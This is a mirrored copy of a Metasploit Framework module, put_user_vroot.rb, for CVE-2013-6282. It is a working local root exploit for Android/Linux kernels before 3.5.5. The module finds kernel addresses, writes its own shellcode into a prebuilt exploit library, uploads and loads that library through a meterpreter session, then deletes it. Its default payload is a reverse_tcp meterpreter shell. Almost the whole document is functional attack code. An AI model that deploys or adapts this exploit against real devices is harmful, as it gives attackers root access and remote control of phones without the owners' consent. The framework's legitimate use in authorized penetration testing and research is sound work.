CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/android/local/put_user_vroot.rb
Views: 11623
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::File
10
include Msf::Post::Common
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
{
17
'Name' => "Android get_user/put_user Exploit",
18
'Description' => %q{
19
This module exploits a missing check in the get_user and put_user API functions
20
in the linux kernel before 3.5.5. The missing checks on these functions
21
allow an unprivileged user to read and write kernel memory.
22
This exploit first reads the kernel memory to identify the commit_creds and
23
ptmx_fops address, then uses the write primitive to execute shellcode as uid 0.
24
The exploit was first discovered in the wild in the vroot rooting application.
25
},
26
'License' => MSF_LICENSE,
27
'Author' => [
28
'fi01', # libget_user_exploit / libput_user_exploit
29
'cubeundcube', # kallsyms_in_memory
30
'timwr', # Metasploit module
31
],
32
'References' => [
33
[ 'CVE', '2013-6282' ],
34
[ 'URL', 'https://forum.xda-developers.com/t/root-share-vroot-1-6-0-3690-1-click-root-method-lenovo-a706-walkman-f800-etc.2434453/' ],
35
[ 'URL', 'https://github.com/fi01/libget_user_exploit' ],
36
[ 'URL', 'https://forum.xda-developers.com/t/root-saferoot-root-for-vruemj7-mk2-and-android-4-3.2565758/' ],
37
],
38
'DisclosureDate' => '2013-09-06',
39
'SessionTypes' => [ 'meterpreter' ],
40
"Platform" => [ "android", "linux" ],
41
'Targets' => [[ 'Automatic', {}]],
42
'Payload' => { 'Space' => 2048, },
43
'DefaultOptions' => {
44
'WfsDelay' => 120,
45
'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp',
46
},
47
'DefaultTarget' => 0,
48
'Compat' => {
49
'Meterpreter' => {
50
'Commands' => %w[
51
core_loadlib
52
stdapi_fs_delete_file
53
stdapi_fs_getwd
54
]
55
}
56
},
57
}
58
)
59
)
60
end
61
62
def exploit
63
local_file = File.join(Msf::Config.data_directory, "exploits", "CVE-2013-6282.so")
64
exploit_data = File.read(local_file, mode: 'rb')
65
66
space = payload_space
67
payload_encoded = payload.encoded
68
69
# Substitute the exploit shellcode with our own
70
exploit_data.gsub!("\x90" * 4 + "\x00" * (space - 4), payload_encoded + "\x90" * (payload_encoded.length - space))
71
72
workingdir = session.fs.dir.getwd
73
remote_file = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}"
74
write_file(remote_file, exploit_data)
75
76
print_status("Loading exploit library #{remote_file}")
77
session.core.load_library(
78
'LibraryFilePath' => local_file,
79
'TargetFilePath' => remote_file,
80
'UploadLibrary' => false,
81
'Extension' => false,
82
'SaveToDisk' => false
83
)
84
print_status("Loaded library #{remote_file}, deleting")
85
session.fs.file.rm(remote_file)
86
print_status("Waiting #{datastore['WfsDelay']} seconds for payload")
87
end
88
end
89
90